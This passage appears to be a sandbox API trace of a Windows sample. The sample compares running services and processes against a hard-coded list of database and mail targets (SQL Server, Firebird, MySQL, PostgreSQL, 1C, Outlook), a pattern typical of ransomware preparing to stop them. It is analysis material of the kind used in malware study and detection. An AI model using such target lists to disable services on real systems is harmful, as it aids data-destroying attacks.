(lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0080.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0080.396] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0080.396] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0080.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0080.396] lstrlenW (lpString="ProfSvc") returned 7 [0080.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0080.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0080.397] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0080.397] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0080.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0080.397] lstrlenW (lpString="RpcEptMapper") returned 12 [0080.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0080.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0080.397] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0080.397] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0080.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0080.397] lstrlenW (lpString="RpcSs") returned 5 [0080.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0080.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0080.397] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0080.397] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0080.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0080.397] lstrlenW (lpString="SamSs") returned 5 [0080.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0080.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0080.397] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0080.397] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0080.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0080.397] lstrlenW (lpString="Schedule") returned 8 [0080.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0080.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0080.397] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0080.397] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0080.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0080.398] lstrlenW (lpString="SENS") returned 4 [0080.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0080.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0080.398] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0080.398] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0080.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0080.398] lstrlenW (lpString="ShellHWDetection") returned 16 [0080.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0080.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0080.398] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0080.398] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0080.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0080.398] lstrlenW (lpString="Spooler") returned 7 [0080.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0080.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0080.398] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0080.398] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0080.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0080.398] lstrlenW (lpString="swprv") returned 5 [0080.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0080.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0080.400] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0080.400] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0080.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0080.400] lstrlenW (lpString="SysMain") returned 7 [0080.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0080.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0080.400] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0080.400] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0080.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0080.400] lstrlenW (lpString="Themes") returned 6 [0080.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0080.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0080.400] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0080.400] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0080.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0080.400] lstrlenW (lpString="TrkWks") returned 6 [0080.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0080.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0080.401] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0080.401] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0080.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0080.401] lstrlenW (lpString="UxSms") returned 5 [0080.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0080.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0080.401] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0080.401] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0080.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0080.401] lstrlenW (lpString="VSS") returned 3 [0080.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0080.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0080.401] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0080.401] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0080.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0080.401] lstrlenW (lpString="WdiServiceHost") returned 14 [0080.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0080.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0080.401] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0080.401] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0080.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0080.401] lstrlenW (lpString="WdiSystemHost") returned 13 [0080.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0080.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0080.401] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0080.401] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0080.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0080.402] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0080.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0080.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0080.402] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0080.402] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0080.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0080.402] lstrlenW (lpString="Winmgmt") returned 7 [0080.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0080.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0080.402] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0080.402] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0080.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0080.402] lstrlenW (lpString="WPDBusEnum") returned 10 [0080.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0080.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0080.402] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0080.402] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0080.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0080.402] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3959740 | out: hHeap=0x4b0000) returned 1 [0080.402] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1dc [0080.406] Process32FirstW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0080.407] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0080.407] lstrlenW (lpString="System") returned 6 [0080.407] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0080.407] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0080.407] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0080.407] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0080.407] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0080.407] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0080.407] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0080.407] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0080.408] lstrlenW (lpString="smss.exe") returned 8 [0080.408] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0080.408] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0080.408] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0080.408] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0080.408] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0080.408] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0080.408] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0080.408] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0080.408] lstrlenW (lpString="csrss.exe") returned 9 [0080.408] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0080.408] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0080.409] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0080.409] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0080.409] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0080.409] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0080.409] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0080.409] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0080.409] lstrlenW (lpString="wininit.exe") returned 11 [0080.409] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0080.409] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0080.409] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0080.409] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0080.410] lstrlenW (lpString="csrss.exe") returned 9 [0080.410] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0080.410] lstrlenW (lpString="winlogon.exe") returned 12 [0080.410] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0080.411] lstrlenW (lpString="services.exe") returned 12 [0080.411] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0080.411] lstrlenW (lpString="lsass.exe") returned 9 [0080.411] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0080.412] lstrlenW (lpString="lsm.exe") returned 7 [0080.412] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0080.412] lstrlenW (lpString="svchost.exe") returned 11 [0080.412] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0080.412] lstrlenW (lpString="svchost.exe") returned 11 [0080.412] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0080.413] lstrlenW (lpString="svchost.exe") returned 11 [0080.413] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0080.413] lstrlenW (lpString="svchost.exe") returned 11 [0080.413] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0080.414] lstrlenW (lpString="svchost.exe") returned 11 [0080.414] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0080.414] lstrlenW (lpString="audiodg.exe") returned 11 [0080.414] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0080.415] lstrlenW (lpString="svchost.exe") returned 11 [0080.415] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0080.415] lstrlenW (lpString="svchost.exe") returned 11 [0080.415] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0080.416] lstrlenW (lpString="dwm.exe") returned 7 [0080.416] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0080.416] lstrlenW (lpString="explorer.exe") returned 12 [0080.416] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0080.417] lstrlenW (lpString="spoolsv.exe") returned 11 [0080.417] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0080.417] lstrlenW (lpString="svchost.exe") returned 11 [0080.417] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0080.417] lstrlenW (lpString="taskhost.exe") returned 12 [0080.418] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0080.418] lstrlenW (lpString="taskeng.exe") returned 11 [0080.418] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="communist_nick.exe")) returned 1 [0080.418] lstrlenW (lpString="communist_nick.exe") returned 18 [0080.418] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotion_earned_tagged.exe")) returned 1 [0080.419] lstrlenW (lpString="promotion_earned_tagged.exe") returned 27 [0080.419] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="prize.exe")) returned 1 [0080.419] lstrlenW (lpString="prize.exe") returned 9 [0080.419] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="controversial_facilitate_struct.exe")) returned 1 [0080.420] lstrlenW (lpString="controversial_facilitate_struct.exe") returned 35 [0080.420] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="tee kansas ww.exe")) returned 1 [0080.420] lstrlenW (lpString="tee kansas ww.exe") returned 17 [0080.420] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="red-generated-percent.exe")) returned 1 [0080.420] lstrlenW (lpString="red-generated-percent.exe") returned 25 [0080.420] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospects.exe")) returned 1 [0080.421] lstrlenW (lpString="prospects.exe") returned 13 [0080.421] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="signalpackard.exe")) returned 1 [0080.421] lstrlenW (lpString="signalpackard.exe") returned 17 [0080.421] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="assistjacksonville.exe")) returned 1 [0080.421] lstrlenW (lpString="assistjacksonville.exe") returned 22 [0080.421] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="release.exe")) returned 1 [0080.422] lstrlenW (lpString="release.exe") returned 11 [0080.422] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="billethicalpresent.exe")) returned 1 [0080.422] lstrlenW (lpString="billethicalpresent.exe") returned 22 [0080.422] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="introduce_passport_wiley.exe")) returned 1 [0080.423] lstrlenW (lpString="introduce_passport_wiley.exe") returned 28 [0080.423] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="insiderviewersflorist.exe")) returned 1 [0080.423] lstrlenW (lpString="insiderviewersflorist.exe") returned 25 [0080.423] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aids oasis luxembourg.exe")) returned 1 [0080.423] lstrlenW (lpString="aids oasis luxembourg.exe") returned 25 [0080.424] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="stickers_nations.exe")) returned 1 [0080.424] lstrlenW (lpString="stickers_nations.exe") returned 20 [0080.424] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="initiated-scary.exe")) returned 1 [0080.424] lstrlenW (lpString="initiated-scary.exe") returned 19 [0080.424] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, 